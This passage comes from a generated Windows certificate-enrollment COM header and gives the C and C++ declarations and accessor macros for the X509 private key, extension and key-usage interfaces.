*get_UniqueContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Opened )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DefaultContainer )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Existing )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Existing )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Pin )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FriendlyName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Description )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Description )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        END_INTERFACE\n    } IX509PrivateKeyVtbl;\n\n    interface IX509PrivateKey\n    {\n        CONST_VTBL struct IX509PrivateKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PrivateKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PrivateKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PrivateKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PrivateKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PrivateKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PrivateKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PrivateKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PrivateKey_Open(This)\t\\\n    ( (This)->lpVtbl -> Open(This) ) \n\n#define IX509PrivateKey_Create(This)\t\\\n    ( (This)->lpVtbl -> Create(This) ) \n\n#define IX509PrivateKey_Close(This)\t\\\n    ( (This)->lpVtbl -> Close(This) ) \n\n#define IX509PrivateKey_Delete(This)\t\\\n    ( (This)->lpVtbl -> Delete(This) ) \n\n#define IX509PrivateKey_Verify(This,VerifyType)\t\\\n    ( (This)->lpVtbl -> Verify(This,VerifyType) ) \n\n#define IX509PrivateKey_Import(This,strExportType,strEncodedKey,Encoding)\t\\\n    ( (This)->lpVtbl -> Import(This,strExportType,strEncodedKey,Encoding) ) \n\n#define IX509PrivateKey_Export(This,strExportType,Encoding,pstrEncodedKey)\t\\\n    ( (This)->lpVtbl -> Export(This,strExportType,Encoding,pstrEncodedKey) ) \n\n#define IX509PrivateKey_ExportPublicKey(This,ppPublicKey)\t\\\n    ( (This)->lpVtbl -> ExportPublicKey(This,ppPublicKey) ) \n\n#define IX509PrivateKey_get_ContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerName(This,pValue) ) \n\n#define IX509PrivateKey_put_ContainerName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerName(This,Value) ) \n\n#define IX509PrivateKey_get_ContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerNamePrefix(This,pValue) ) \n\n#define IX509PrivateKey_put_ContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerNamePrefix(This,Value) ) \n\n#define IX509PrivateKey_get_ReaderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReaderName(This,pValue) ) \n\n#define IX509PrivateKey_put_ReaderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ReaderName(This,Value) ) \n\n#define IX509PrivateKey_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509PrivateKey_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509PrivateKey_get_CspStatus(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatus(This,ppValue) ) \n\n#define IX509PrivateKey_put_CspStatus(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspStatus(This,pValue) ) \n\n#define IX509PrivateKey_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509PrivateKey_put_ProviderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderName(This,Value) ) \n\n#define IX509PrivateKey_get_ProviderType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderType(This,pValue) ) \n\n#define IX509PrivateKey_put_ProviderType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderType(This,Value) ) \n\n#define IX509PrivateKey_get_LegacyCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LegacyCsp(This,pValue) ) \n\n#define IX509PrivateKey_put_LegacyCsp(This,Value)\t\\\n    ( (This)->lpVtbl -> put_LegacyCsp(This,Value) ) \n\n#define IX509PrivateKey_get_Algorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Algorithm(This,ppValue) ) \n\n#define IX509PrivateKey_put_Algorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Algorithm(This,pValue) ) \n\n#define IX509PrivateKey_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define IX509PrivateKey_put_KeySpec(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeySpec(This,Value) ) \n\n#define IX509PrivateKey_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509PrivateKey_put_Length(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Length(This,Value) ) \n\n#define IX509PrivateKey_get_ExportPolicy(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ExportPolicy(This,pValue) ) \n\n#define IX509PrivateKey_put_ExportPolicy(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ExportPolicy(This,Value) ) \n\n#define IX509PrivateKey_get_KeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyUsage(This,pValue) ) \n\n#define IX509PrivateKey_put_KeyUsage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyUsage(This,Value) ) \n\n#define IX509PrivateKey_get_KeyProtection(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyProtection(This,pValue) ) \n\n#define IX509PrivateKey_put_KeyProtection(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyProtection(This,Value) ) \n\n#define IX509PrivateKey_get_MachineContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MachineContext(This,pValue) ) \n\n#define IX509PrivateKey_put_MachineContext(This,Value)\t\\\n    ( (This)->lpVtbl -> put_MachineContext(This,Value) ) \n\n#define IX509PrivateKey_get_SecurityDescriptor(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SecurityDescriptor(This,pValue) ) \n\n#define IX509PrivateKey_put_SecurityDescriptor(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SecurityDescriptor(This,Value) ) \n\n#define IX509PrivateKey_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509PrivateKey_put_Certificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_Certificate(This,Encoding,Value) ) \n\n#define IX509PrivateKey_get_UniqueContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UniqueContainerName(This,pValue) ) \n\n#define IX509PrivateKey_get_Opened(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Opened(This,pValue) ) \n\n#define IX509PrivateKey_get_DefaultContainer(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DefaultContainer(This,pValue) ) \n\n#define IX509PrivateKey_get_Existing(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Existing(This,pValue) ) \n\n#define IX509PrivateKey_put_Existing(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Existing(This,Value) ) \n\n#define IX509PrivateKey_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509PrivateKey_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509PrivateKey_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509PrivateKey_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509PrivateKey_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509PrivateKey_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509PrivateKey_put_Pin(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Pin(This,Value) ) \n\n#define IX509PrivateKey_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#define IX509PrivateKey_put_FriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_FriendlyName(This,Value) ) \n\n#define IX509PrivateKey_get_Description(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Description(This,pValue) ) \n\n#define IX509PrivateKey_put_Description(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Description(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PrivateKey_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Extension_INTERFACE_DEFINED__\n#define __IX509Extension_INTERFACE_DEFINED__\n\n/* interface IX509Extension */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Extension;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30d-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Extension : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Critical( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Critical( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Extension * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Extension * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Extension * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Extension * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509Extension * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509Extension * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        END_INTERFACE\n    } IX509ExtensionVtbl;\n\n    interface IX509Extension\n    {\n        CONST_VTBL struct IX509ExtensionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Extension_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Extension_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Extension_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Extension_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Extension_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Extension_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Extension_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Extension_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509Extension_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509Extension_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509Extension_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509Extension_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Extension_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Extensions_INTERFACE_DEFINED__\n#define __IX509Extensions_INTERFACE_DEFINED__\n\n/* interface IX509Extensions */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Extensions;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30e-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Extensions : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extension **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509Extension *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt IX509Extensions *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Extensions * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Extensions * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Extensions * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Extensions * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extension **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509Extensions * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509Extensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IX509Extension *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509Extensions * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IX509Extensions *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionsVtbl;\n\n    interface IX509Extensions\n    {\n        CONST_VTBL struct IX509ExtensionsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Extensions_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Extensions_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Extensions_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Extensions_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Extensions_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Extensions_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Extensions_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Extensions_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509Extensions_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509Extensions_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509Extensions_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509Extensions_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509Extensions_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509Extensions_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#define IX509Extensions_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Extensions_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0015 */\n/* [local] */ \n\ntypedef \nenum X509KeyUsageFlags\n    {\tXCN_CERT_NO_KEY_USAGE\t= 0,\n\tXCN_CERT_DIGITAL_SIGNATURE_KEY_USAGE\t= 0x80,\n\tXCN_CERT_NON_REPUDIATION_KEY_USAGE\t= 0x40,\n\tXCN_CERT_KEY_ENCIPHERMENT_KEY_USAGE\t= 0x20,\n\tXCN_CERT_DATA_ENCIPHERMENT_KEY_USAGE\t= 0x10,\n\tXCN_CERT_KEY_AGREEMENT_KEY_USAGE\t= 0x8,\n\tXCN_CERT_KEY_CERT_SIGN_KEY_USAGE\t= 0x4,\n\tXCN_CERT_OFFLINE_CRL_SIGN_KEY_USAGE\t= 0x2,\n\tXCN_CERT_CRL_SIGN_KEY_USAGE\t= 0x2,\n\tXCN_CERT_ENCIPHER_ONLY_KEY_USAGE\t= 0x1,\n\tXCN_CERT_DECIPHER_ONLY_KEY_USAGE\t= ( 0x80 << 8 ) \n    } \tX509KeyUsageFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0015_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0015_v0_0_s_ifspec;\n\n#ifndef __IX509ExtensionKeyUsage_INTERFACE_DEFINED__\n#define __IX509ExtensionKeyUsage_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionKeyUsage */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionKeyUsage;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30f-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionKeyUsage : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ X509KeyUsageFlags UsageFlags) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeyUsage( \n            /* [retval][out] */ __RPC__out X509KeyUsageFlags *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionKeyUsageVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionKeyUsage * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionKeyUsage * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in REFIID 